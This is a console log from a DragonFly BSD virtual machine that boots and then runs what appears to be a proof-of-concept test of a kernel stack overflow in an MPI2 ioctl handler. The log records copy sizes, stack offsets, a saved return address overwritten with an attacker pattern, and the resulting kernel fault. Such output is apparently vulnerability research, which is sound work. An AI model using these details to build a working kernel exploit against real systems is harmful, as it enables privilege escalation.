route: writing to routing socket: File exists
add net default: gateway 10.0.2.2: File exists
Additional routing options:.
Starting devd.
Additional TCP options:.
Mounting NFS file systems:.
ELF ldconfig path: /lib /usr/lib /usr/local/lib /usr/local/libdata/ldconfig/pkg
Building databases...
Starting syslogd.
Sep 17 12:42:43 dfbsd syslogd: kernel boot file is /boot/kernel/kernel

No core dumps found.
swap low/high-water marks set to 41940/62910
swapon: adding /dev/vbd0s1b as swap device
NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3.
Starting local daemons:.
Updating motd.
Configuring syscons: blanktime.
Starting sshd.
sendmail_submit: /etc/mail/aliases.db not present,  generating
sendmail_clientmqueue: /etc/mail/aliases.db not present,  generating
Starting cron.
Local package initialization:.

Thu Sep 17 12:42:43 UTC 2026


DragonFly/x86_64 (dfbsd) (ttyd0)



login: df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1))
Sep 17 13:00:21 dfbsd nologin: Attempted login by root on UNKNOWN
df1326: enter  reqframesz=128 RequestSize=96 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff80118ad36bc saved_rip_slot=0xfffff80118ad3740 (offset 132 bytes)
df1326: copyin returned 0 -- 84 bytes landed past the 12-byte tmphdr
df1326: saved RIP slot out of reach for this size (offset 132)
df1326: 10-byte aligned attacker-pattern spans observed out-of-band
df1326: RequestSize 96 PASSED the (post-copyin) bounds check too
df1326: prologue complete (dead-code checksum 69)
df1326: enter  reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12
df1326: &tmphdr=0xfffff801187e76bc saved_rip_slot=0xfffff801187e7740 (offset 132 bytes)
df1326: copyin returned 0 -- 4084 bytes landed past the 12-byte tmphdr
df1326: SAVED RIP SLOT OVERWRITTEN: was 0xffffffff8062cdb5 now 0x4546474841424344 (attacker-controlled: YES)
df1326: (restored; the real driver would return through the attacker value)
df1326: 508-byte aligned attacker-pattern spans observed out-of-band


Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer	= 0x8:0xffffffff8062cdbb
stack pointer	        = 0x10:0xfffff801187e77b0
frame pointer	        = 0x10:0x4546474841424344
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1224
current thread          = pri 6 
kernel: type 9 trap, code=0

CPU3 stopping CPUs: 0x00000037
 stopped
Stopped at      dev_dioctl+0x6b:        ret
db>